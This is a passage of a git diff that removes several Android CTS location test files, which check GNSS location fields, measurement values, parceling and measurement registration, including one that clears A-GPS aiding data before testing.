- location.getSpeedAccuracyMetersPerSecond() > 0);
- }
- softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
- "All GNSS locations generated by the LocationManager "
- + "must have a vertical accuracy.", location.hasVerticalAccuracy());
- if (location.hasVerticalAccuracy()) {
- softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
- "Vertical Accuracy should be greater than 0.",
- location.getVerticalAccuracyMeters() > 0);
- }
- }
-
- /**
- * Get the location info from the device
- * check whether all fields' value make sense
- */
- public void testLocationRegularFields() throws Exception {
- // Checks if GPS hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
- return;
- }
-
- SoftAssert softAssert = new SoftAssert(TAG);
- mTestLocationManager.requestLocationUpdates(mLocationListener);
- boolean success = mLocationListener.await();
- softAssert.assertTrue(
- "Time elapsed without getting the GNSS locations."
- + " Possibly, the test has been run deep indoors."
- + " Consider retrying test outdoors.",
- success);
-
- // don't check speed of first GNSS location - it may not be ready in some cases
- boolean checkSpeed = false;
- for (Location location : mLocationListener.getReceivedLocationList()) {
- checkLocationRegularFields(softAssert, location, checkSpeed);
- checkSpeed = true;
- }
-
- softAssert.assertAll();
- }
-
- public static void checkLocationRegularFields(SoftAssert softAssert, Location location,
- boolean checkSpeed) {
- // For the altitude: the unit is meter
- // The lowest exposed land on Earth is at the Dead Sea shore, at -413 meters.
- // Whilst University of Tokyo Atacama Obsevatory is on 5,640m above sea level.
-
- softAssert.assertTrue("All GNSS locations generated by the LocationManager "
- + "must have altitudes.", location.hasAltitude());
- if(location.hasAltitude()) {
- softAssert.assertTrue("Altitude should be greater than -500 (meters).",
- location.getAltitude() >= -500);
- softAssert.assertTrue("Altitude should be less than 6000 (meters).",
- location.getAltitude() < 6000);
- }
-
- // It is guaranteed to be in the range [0.0, 360.0] if the device has a bearing.
- // The API will return 0.0 if there is no bearing
- if (location.hasSpeed() && location.getSpeed() > MINIMUM_SPEED_FOR_BEARING) {
- softAssert.assertTrue("When speed is greater than 0, all GNSS locations generated by "
- + "the LocationManager must have bearings.", location.hasBearing());
- if(location.hasBearing()) {
- softAssert.assertTrue("Bearing should be in the range of [0.0, 360.0]",
- location.getBearing() >= 0 && location.getBearing() <= 360);
- }
- }
-
- softAssert.assertTrue("ElapsedRaltimeNanos should be great than 0.",
- location.getElapsedRealtimeNanos() > 0);
-
- assertEquals("gps", location.getProvider());
- assertTrue(location.getTime() > 0);
-
- softAssert.assertTrue("Longitude should be in the range of [-180.0, 180.0] degrees",
- location.getLongitude() >= -180 && location.getLongitude() <= 180);
-
- softAssert.assertTrue("Latitude should be in the range of [-90.0, 90.0] degrees",
- location.getLatitude() >= -90 && location.getLatitude() <= 90);
-
- if (checkSpeed) {
- softAssert.assertTrue("All but the first GNSS location from LocationManager "
- + "must have speeds.", location.hasSpeed());
- }
-
- // For the speed, during the cts test device shouldn't move faster than 1m/s, but allowing up
- // to 5m/s for possible early fix noise in moderate signal test environments
- if(location.hasSpeed()) {
- softAssert.assertTrue("In the test enviorment, speed should be in the range of [0, 5] m/s",
- location.getSpeed() >= 0 && location.getSpeed() <= 5);
- }
-
- }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementCorrectionsTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementCorrectionsTest.java
deleted file mode 100644
index 070e229..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementCorrectionsTest.java
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssMeasurementCorrections;
-import android.location.GnssReflectingPlane;
-import android.location.GnssSingleSatCorrection;
-import android.location.cts.GnssSingleSatCorrectionsTest;
-import android.location.GnssStatus;
-import android.os.Parcel;
-
-import junit.framework.TestCase;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/** Unit tests for {@link GnssMeasurementCorrections}. */
-public class GnssMeasurementCorrectionsTest extends TestCase {
- public void testDescribeContents() {
- GnssMeasurementCorrections.Builder measurementCorrectionsBuilder =
- new GnssMeasurementCorrections.Builder();
- setTestValues(measurementCorrectionsBuilder);
- measurementCorrectionsBuilder.build().describeContents();
- }
-
- public void testWriteToParcel() {
- GnssMeasurementCorrections.Builder measurementCorrections =
- new GnssMeasurementCorrections.Builder();
- setTestValues(measurementCorrections);
- Parcel parcel = Parcel.obtain();
- measurementCorrections.build().writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- GnssMeasurementCorrections newMeasurementCorrection =
- GnssMeasurementCorrections.CREATOR.createFromParcel(parcel);
- verifyTestValues(newMeasurementCorrection);
- parcel.recycle();
- }
-
- private static void verifyTestValues(GnssMeasurementCorrections measurementCorrections) {
- assertEquals(37.386051, measurementCorrections.getLatitudeDegrees());
- assertEquals(-122.083855, measurementCorrections.getLongitudeDegrees());
- assertEquals(32.0, measurementCorrections.getAltitudeMeters());
- assertEquals(9.25, measurementCorrections.getHorizontalPositionUncertaintyMeters());
- assertEquals(2.3, measurementCorrections.getVerticalPositionUncertaintyMeters());
- assertEquals(604000000000000L, measurementCorrections.getToaGpsNanosecondsOfWeek());
-
- GnssSingleSatCorrection singleSatCorrection =
- measurementCorrections.getSingleSatelliteCorrectionList().get(0);
- GnssSingleSatCorrectionsTest.verifyTestValues(singleSatCorrection);
-
- singleSatCorrection = measurementCorrections.getSingleSatelliteCorrectionList().get(1);
- assertEquals(15, singleSatCorrection.getSingleSatelliteCorrectionFlags());
- assertEquals(GnssStatus.CONSTELLATION_GPS, singleSatCorrection.getConstellationType());
- assertEquals(11, singleSatCorrection.getSatelliteId());
- assertEquals(1575430000f, singleSatCorrection.getCarrierFrequencyHz());
- assertEquals(0.9f, singleSatCorrection.getProbabilityLineOfSight());
- assertEquals(50.0f, singleSatCorrection.getExcessPathLengthMeters());
- assertEquals(55.0f, singleSatCorrection.getExcessPathLengthUncertaintyMeters());
- GnssReflectingPlane reflectingPlane = singleSatCorrection.getReflectingPlane();
- assertEquals(37.386054, reflectingPlane.getLatitudeDegrees());
- assertEquals(-122.083855, reflectingPlane.getLongitudeDegrees());
- assertEquals(120.0, reflectingPlane.getAltitudeMeters());
- assertEquals(153.0, reflectingPlane.getAzimuthDegrees());
- }
-
- private static void setTestValues(GnssMeasurementCorrections.Builder measurementCorrections) {
- measurementCorrections
- .setLatitudeDegrees(37.386051)
- .setLongitudeDegrees(-122.083855)
- .setAltitudeMeters(32)
- .setHorizontalPositionUncertaintyMeters(9.25)
- .setVerticalPositionUncertaintyMeters(2.3)
- .setToaGpsNanosecondsOfWeek(604000000000000L);
- List<GnssSingleSatCorrection> singleSatCorrectionList = new ArrayList<>();
- singleSatCorrectionList.add(GnssSingleSatCorrectionsTest.generateTestSingleSatCorrection());
- singleSatCorrectionList.add(generateTestSingleSatCorrection());
- measurementCorrections.setSingleSatelliteCorrectionList(singleSatCorrectionList);
- }
-
- private static GnssSingleSatCorrection generateTestSingleSatCorrection() {
- GnssSingleSatCorrection.Builder singleSatCorrection = new GnssSingleSatCorrection.Builder();
- singleSatCorrection
- .setConstellationType(GnssStatus.CONSTELLATION_GPS)
- .setSatelliteId(11)
- .setCarrierFrequencyHz(1575430000f)
- .setProbabilityLineOfSight(0.9f)
- .setExcessPathLengthMeters(50.0f)
- .setExcessPathLengthUncertaintyMeters(55.0f)
- .setReflectingPlane(generateTestReflectingPlane());
- return singleSatCorrection.build();
- }
-
- private static GnssReflectingPlane generateTestReflectingPlane() {
- GnssReflectingPlane.Builder reflectingPlane =
- new GnssReflectingPlane.Builder()
- .setLatitudeDegrees(37.386054)
- .setLongitudeDegrees(-122.083855)
- .setAltitudeMeters(120.0)
- .setAzimuthDegrees(153);
- return reflectingPlane.build();
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java
deleted file mode 100644
index b6f44a1..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssStatus;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.util.Log;
-
-import java.util.List;
-
-/**
- * Test for {@link GnssMeasurement}s without location registration.
- *
- * Test steps:
- * 1. Register a listener for {@link GnssMeasurementsEvent}s.
- * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
- * {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- * following reasons:
- * 2.1 the device does not support the feature,
- * 2.2 GPS is disabled in the device,
- * 2.3 Location is disabled in the device.
- * 3. If at least one {@link GnssMeasurementsEvent} is received, the test will pass.
- * 2. If no {@link GnssMeasurementsEvent} are received, then check whether the device is deep indoor.
- * This is done by performing the following steps:
- * 2.1 Register for location updates, and {@link GnssStatus} events.
- * 2.2 Wait for {@link TestGnssStatusCallback#TIMEOUT_IN_SEC}.
- * 2.3 If no {@link GnssStatus} is received this will mean that the device is located
- * indoor. Test will be skipped.
- * 2.4 If we receive a {@link GnssStatus}, it mean that {@link GnssMeasurementsEvent}s are
- * provided only if the application registers for location updates as well:
- * 2.4.1 The test will pass with a warning for the M release.
- * 2.4.2 The test might fail in a future Android release, when this requirement
- * becomes mandatory.
- */
-public class GnssMeasurementRegistrationTest extends GnssTestCase {
-
- private static final String TAG = "GnssMeasRegTest";
- private static final int EVENTS_COUNT = 5;
- private static final int GPS_EVENTS_COUNT = 1;
- private TestLocationListener mLocationListener;
- private TestGnssMeasurementListener mMeasurementListener;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mTestLocationManager = new TestLocationManager(getContext());
- }
-
- @Override
- protected void tearDown() throws Exception {
- // Unregister listeners
- if (mLocationListener != null) {
- mTestLocationManager.removeLocationUpdates(mLocationListener);
- }
- if (mMeasurementListener != null) {
- mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
- }
- super.tearDown();
- }
-
- /**
- * Test GPS measurements registration.
- */
- public void testGnssMeasurementRegistration() throws Exception {
- // Checks if GPS hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
- isCtsVerifierTest())) {
- return;
- }
-
- // Register for GPS measurements.
- mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
- mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
- mMeasurementListener.await();
- if (!mMeasurementListener.verifyStatus()) {
- // If test is strict verifyStatus will assert conditions are good for further testing.
- // Else this returns false and, we arrive here, and then return from here (pass.)
- return;
- }
-
- List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
- Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
-
- if (!events.isEmpty()) {
- // Test passes if we get at least 1 pseudorange.
- Log.i(TAG, "Received GPS measurements. Test Pass.");
- return;
- }
-
- SoftAssert.failAsWarning(
- TAG,
- "GPS measurements were not received without registering for location updates. "
- + "Trying again with Location request.");
-
- // Register for location updates.
- mLocationListener = new TestLocationListener(EVENTS_COUNT);
- mTestLocationManager.requestLocationUpdates(mLocationListener);
-
- // Wait for location updates
- mLocationListener.await();
- Log.i(TAG, "Location received = " + mLocationListener.isLocationReceived());
-
- events = mMeasurementListener.getEvents();
- Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
-
- SoftAssert softAssert = new SoftAssert(TAG);
- softAssert.assertTrue(
- "Did not receive any GnssMeasurement events. Retry outdoors?",
- !events.isEmpty());
- softAssert.assertAll();
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementTest.java
deleted file mode 100644
index 355f9b7..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementTest.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssMeasurement;
-import android.location.GnssStatus;
-import android.os.Parcel;
-
-public class GnssMeasurementTest extends GnssTestCase {
- public void testDescribeContents() {
- GnssMeasurement measurement = new GnssMeasurement();
- measurement.describeContents();
- }
-
- public void testReset() {
- GnssMeasurement measurement = new GnssMeasurement();
- measurement.reset();
- }
-
- private static void setTestValues(GnssMeasurement measurement) {
- measurement.setAccumulatedDeltaRangeMeters(1.0);
- measurement.setAccumulatedDeltaRangeState(2);
- measurement.setAccumulatedDeltaRangeUncertaintyMeters(3.0);
- measurement.setCarrierCycles(4);
- measurement.setCarrierFrequencyHz(5.0f);
- measurement.setCarrierPhase(6.0);
- measurement.setCarrierPhaseUncertainty(7.0);
- measurement.setCn0DbHz(8.0);
- measurement.setCodeType("C");
- measurement.setConstellationType(GnssStatus.CONSTELLATION_GALILEO);
- measurement.setMultipathIndicator(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED);
- measurement.setPseudorangeRateMetersPerSecond(9.0);
- measurement.setPseudorangeRateUncertaintyMetersPerSecond(10.0);
- measurement.setReceivedSvTimeNanos(11);
- measurement.setReceivedSvTimeUncertaintyNanos(12);
- measurement.setSnrInDb(13.0);
- measurement.setState(14);
- measurement.setSvid(15);
- measurement.setTimeOffsetNanos(16.0);
- }
-
- private static void verifyTestValues(GnssMeasurement measurement) {
- assertEquals(1.0, measurement.getAccumulatedDeltaRangeMeters());
- assertEquals(2, measurement.getAccumulatedDeltaRangeState());
- assertEquals(3.0, measurement.getAccumulatedDeltaRangeUncertaintyMeters());
- assertEquals(4, measurement.getCarrierCycles());
- assertEquals(5.0f, measurement.getCarrierFrequencyHz());
- assertEquals(6.0, measurement.getCarrierPhase());
- assertEquals(7.0, measurement.getCarrierPhaseUncertainty());
- assertEquals(8.0, measurement.getCn0DbHz());
- assertEquals(GnssStatus.CONSTELLATION_GALILEO, measurement.getConstellationType());
- assertEquals(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED,
- measurement.getMultipathIndicator());
- assertEquals("C", measurement.getCodeType());
- assertEquals(9.0, measurement.getPseudorangeRateMetersPerSecond());
- assertEquals(10.0, measurement.getPseudorangeRateUncertaintyMetersPerSecond());
- assertEquals(11, measurement.getReceivedSvTimeNanos());
- assertEquals(12, measurement.getReceivedSvTimeUncertaintyNanos());
- assertEquals(13.0, measurement.getSnrInDb());
- assertEquals(14, measurement.getState());
- assertEquals(15, measurement.getSvid());
- assertEquals(16.0, measurement.getTimeOffsetNanos());
- }
-
- public void testWriteToParcel() {
- GnssMeasurement measurement = new GnssMeasurement();
- setTestValues(measurement);
- Parcel parcel = Parcel.obtain();
- measurement.writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
- verifyTestValues(newMeasurement);
- parcel.recycle();
- }
-
- public void testSet() {
- GnssMeasurement measurement = new GnssMeasurement();
- setTestValues(measurement);
- GnssMeasurement newMeasurement = new GnssMeasurement();
- newMeasurement.set(measurement);
- verifyTestValues(newMeasurement);
- }
-
- public void testSetReset() {
- GnssMeasurement measurement = new GnssMeasurement();
- setTestValues(measurement);
-
- assertTrue(measurement.hasCarrierCycles());
- measurement.resetCarrierCycles();
- assertFalse(measurement.hasCarrierCycles());
-
- assertTrue(measurement.hasCarrierFrequencyHz());
- measurement.resetCarrierFrequencyHz();
- assertFalse(measurement.hasCarrierFrequencyHz());
-
- assertTrue(measurement.hasCarrierPhase());
- measurement.resetCarrierPhase();
- assertFalse(measurement.hasCarrierPhase());
-
- assertTrue(measurement.hasCarrierPhaseUncertainty());
- measurement.resetCarrierPhaseUncertainty();
- assertFalse(measurement.hasCarrierPhaseUncertainty());
-
- assertTrue(measurement.hasSnrInDb());
- measurement.resetSnrInDb();
- assertFalse(measurement.hasSnrInDb());
-
- assertTrue(measurement.hasCodeType());
- measurement.resetCodeType();
- assertFalse(measurement.hasCodeType());
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
deleted file mode 100644
index 1f9f911..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
+++ /dev/null
@@ -1,171 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.util.Log;
-
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-/**
- * Test the {@link GnssMeasurement} values.
- *
- * Test steps:
- * 1. Register for location updates.
- * 2. Register a listener for {@link GnssMeasurementsEvent}s.
- * 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
- * 3.1 Confirm locations have been found.
- * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
- * {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped because
- * one of the following reasons:
- * 4.1 the device does not support the GPS feature,
- * 4.2 GPS Location is disabled in the device and this is CTS (non-verifier)
- * 5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
- * mandatory fields is not populated or in the expected range.
- */
-public class GnssMeasurementValuesTest extends GnssTestCase {
-
- private static final String TAG = "GnssMeasValuesTest";
- private static final int LOCATION_TO_COLLECT_COUNT = 20;
-
- private TestGnssMeasurementListener mMeasurementListener;
- private TestLocationListener mLocationListener;
- // Store list of Satellites including Gnss Band, constellation & SvId
- private Set<String> mGnssMeasSvStringIds;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mTestLocationManager = new TestLocationManager(getContext());
- mGnssMeasSvStringIds = new HashSet<>();
- }
-
- @Override
- protected void tearDown() throws Exception {
- // Unregister listeners
- if (mLocationListener != null) {
- mTestLocationManager.removeLocationUpdates(mLocationListener);
- }
- if (mMeasurementListener != null) {
- mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
- }
- super.tearDown();
- }
-
- /**
- * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
- * It only performs sanity checks for the measurements received.
- * This tests uses actual data retrieved from GPS HAL.
- */
- public void testListenForGnssMeasurements() throws Exception {
- // Checks if GPS hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
- if (!TestMeasurementUtil
- .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
- return;
- }
-
- mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
- mTestLocationManager.requestLocationUpdates(mLocationListener);
-
- mMeasurementListener = new TestGnssMeasurementListener(TAG);
- mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
- // Register a status callback to enable checking Svs across status & measurements.
- // Count in status callback is not important as this test is pass/fail based on
- // measurement count, not status count.
- TestGnssStatusCallback gnssStatusCallback = new TestGnssStatusCallback(TAG, 0);
- mTestLocationManager.registerGnssStatusCallback(gnssStatusCallback);
-
- SoftAssert softAssert = new SoftAssert(TAG);
- boolean success = mLocationListener.await();
- softAssert.assertTrue(
- "Time elapsed without getting enough location fixes."
- + " Possibly, the test has been run deep indoors."
- + " Consider retrying test outdoors.",
- success);
- mTestLocationManager.unregisterGnssStatusCallback(gnssStatusCallback);
-
- Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
-
- if (!mMeasurementListener.verifyStatus()) {
- // If test is strict and verifyStatus returns false, an assert exception happens and
- // test fails. If test is not strict, we arrive here, and:
- return; // exit (with pass)
- }
-
- List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
- int eventCount = events.size();
- Log.i(TAG, "Number of Gps Event received = " + eventCount);
-
- softAssert.assertTrue("GnssMeasurementEvent count", "X > 0",
- String.valueOf(eventCount), eventCount > 0);
-
- boolean carrierPhaseQualityPrrFound = false;
- // we received events, so perform a quick sanity check on mandatory fields
- for (GnssMeasurementsEvent event : events) {
- // Verify Gps Event mandatory fields are in required ranges
- assertNotNull("GnssMeasurementEvent cannot be null.", event);
-
- // TODO(sumitk): To validate the timestamp if we receive GPS clock.
- long timeInNs = event.getClock().getTimeNanos();
- TestMeasurementUtil.assertGnssClockFields(event.getClock(), softAssert, timeInNs);
-
- for (GnssMeasurement measurement : event.getMeasurements()) {
- TestMeasurementUtil.assertAllGnssMeasurementMandatoryFields(mTestLocationManager,
- measurement, softAssert, timeInNs);
- carrierPhaseQualityPrrFound |=
- TestMeasurementUtil.gnssMeasurementHasCarrierPhasePrr(measurement);
- if (measurement.hasCarrierFrequencyHz()) {
- mGnssMeasSvStringIds.add(
- TestMeasurementUtil.getUniqueSvStringId(measurement.getConstellationType(),
- measurement.getSvid(), measurement.getCarrierFrequencyHz()));
- } else {
- mGnssMeasSvStringIds.add(
- TestMeasurementUtil.getUniqueSvStringId(measurement.getConstellationType(),
- measurement.getSvid()));
- }
- }
- }
- TestMeasurementUtil.assertGnssClockHasConsistentFullBiasNanos(softAssert, events);
-
- softAssert.assertTrue(
- "GNSS Measurements PRRs with Carrier Phase "
- + "level uncertainties. If failed, retry near window or outdoors?",
- carrierPhaseQualityPrrFound);
- Log.i(TAG, "Meas received for:" + mGnssMeasSvStringIds);
- Log.i(TAG, "Status Received for:" + gnssStatusCallback.getGnssUsedSvStringIds());
-
- // Logging YEAR_2017 Capability.
- // Get all SVs marked as USED in GnssStatus. Remove any SV for which measurement
- // is received. The resulting list should ideally be empty (How can you use a SV
- // with no measurement). To allow for race condition where the last GNSS Status
- // has 1 SV with used flag set, but the corresponding measurement has not yet been
- // received, the check is done as <= 1
- Set<String> svDiff = gnssStatusCallback.getGnssUsedSvStringIds();
- svDiff.removeAll(mGnssMeasSvStringIds);
- softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
- "Used Svs with no Meas: " + (svDiff.isEmpty() ? "None" : svDiff),
- svDiff.size() <= 1);
-
- softAssert.assertAll();
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementWhenNoLocationTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementWhenNoLocationTest.java
deleted file mode 100644
index 41a552f..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementWhenNoLocationTest.java
+++ /dev/null
@@ -1,211 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssStatus;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.List;
-
-/**
- * Test for {@link GnssMeasurement} without a location fix.
- *
- * Test steps:
- * 1. Clear A-GPS: this ensures that the device is not in a warm mode and it has 4+ satellites
- * acquired already.
- * 2. Register a listener for:
- * - {@link GnssMeasurementsEvent}s,
- * - location updates and
- * - {@link GnssStatus} events.
- * 3. Wait for {@link GnssMeasurementsEvent}s to provide {@link EVENTS_COUNT} measurements
- * 4. Ensure that zero locations have been received
- * 5. Check {@link GnssMeasurementsEvent} status: if the status is not
- * {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- * following reasons:
- * 4.1 the device does not support the feature,
- * 4.2 GPS Locaiton is disabled in the device && the test is CTS non-verifier
- * 6. Check whether the device is deep indoor. This is done by performing the following steps:
- * 4.1 If no {@link GnssStatus} is received this will mean that the device is located
- * indoor. The test will be skipped if not strict (CTS or pre-2016.)
- * 7. When the device is not indoor, verify that we receive {@link GnssMeasurementsEvent}s before
- * a GPS location is calculated, and reported by GPS HAL. If {@link GnssMeasurementsEvent}s are
- * only received after a location update is received:
- * 4.1.1 The test will pass with a warning for the M release.
- * 4.1.2 The test will fail on N with CTS-Verifier & newer (2016+) GPS hardware.
- * 8. If {@link GnssMeasurementsEvent}s are received: verify all mandatory fields, the test will
- * fail if any of the mandatory fields is not populated or in the expected range.
- */
-public class GnssMeasurementWhenNoLocationTest extends GnssTestCase {
-
- private static final String TAG = "GnssMeasBeforeLocTest";
- private TestGnssMeasurementListener mMeasurementListener;
- private TestLocationListener mLocationListener;
- private TestGnssStatusCallback mGnssStatusCallback;
- private static final int EVENTS_COUNT = 2;
- private static final int LOCATIONS_COUNT = 1;
-
- // Command to delete cached A-GPS data to get a truer GPS fix.
- private static final String AGPS_DELETE_COMMAND = "delete_aiding_data";
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mTestLocationManager = new TestLocationManager(getContext());
- }
-
- @Override
- protected void tearDown() throws Exception {
- // Unregister listeners
- if (mLocationListener != null) {
- mTestLocationManager.removeLocationUpdates(mLocationListener);
- }
- if (mMeasurementListener != null) {
- mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
- }
- if (mGnssStatusCallback != null) {
- mTestLocationManager.unregisterGnssStatusCallback(mGnssStatusCallback);
- }
- super.tearDown();
- }
-
- /**
- * Test for GPS measurements before a location fix.
- */
- @AppModeFull(reason = "Requires use of extra LocationManager commands")
- public void testGnssMeasurementWhenNoLocation() throws Exception {
- // Checks if GPS hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
- if (!TestMeasurementUtil
- .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
- return;
- }
-
- // Set the device in airplane mode so that the GPS assistance data cannot be downloaded.
- // This results in GNSS measurements being reported before a location is reported.
- // NOTE: Changing global setting airplane_mode_on is not allowed in CtsVerifier application.
- // Hence, airplane mode is turned on only when this test is run as a regular CTS test
- // and not when it is invoked through CtsVerifier.
- boolean isAirplaneModeOffBeforeTest = true;
- if (!isCtsVerifierTest()) {
- // Record the state of the airplane mode before the test so that we can restore it
- // after the test.
- isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
- if (isAirplaneModeOffBeforeTest) {
- TestUtils.setAirplaneModeOn(getContext(), true);
- }
- }
-
- try {
- // Clear A-GPS and skip the test if the operation fails.
- if (!mTestLocationManager.sendExtraCommand(AGPS_DELETE_COMMAND)) {
- Log.i(TAG, "A-GPS failed to clear. Skip test.");
- return;
- }
-
- // Register for GPS measurements.
- mMeasurementListener = new TestGnssMeasurementListener(TAG, EVENTS_COUNT);
- mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
- // Register for Gps Status updates.
- mGnssStatusCallback = new TestGnssStatusCallback(TAG, EVENTS_COUNT);
- mTestLocationManager.registerGnssStatusCallback(mGnssStatusCallback);
-
- // Register for location updates.
- mLocationListener = new TestLocationListener(LOCATIONS_COUNT);
- mTestLocationManager.requestLocationUpdates(mLocationListener);
-
- mMeasurementListener.awaitStatus();
- if (!mMeasurementListener.verifyStatus()) {
- return; // exit peacefully (if not already asserted out inside verifyStatus)
- }
-
- // Wait for two measurement events - this is better than waiting for a location
- // calculation because the test generally completes much faster.
- mMeasurementListener.await();
-
- Log.i(TAG, "mLocationListener.isLocationReceived(): "
- + mLocationListener.isLocationReceived());
-
- SoftAssert softAssert = new SoftAssert(TAG);
- softAssert.assertTrue(
- "No Satellites are visible. Device may be indoors. Retry outdoors?",
- mGnssStatusCallback.getGnssStatus() != null);
-
- List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
- Log.i(TAG, "Number of GPS measurement events received = " + events.size());
-
- if (events.isEmpty()) {
- softAssert.assertTrue(
- "No measurement events received",
- false);
- return; // All of the following checks rely on there being measurements
- }
-
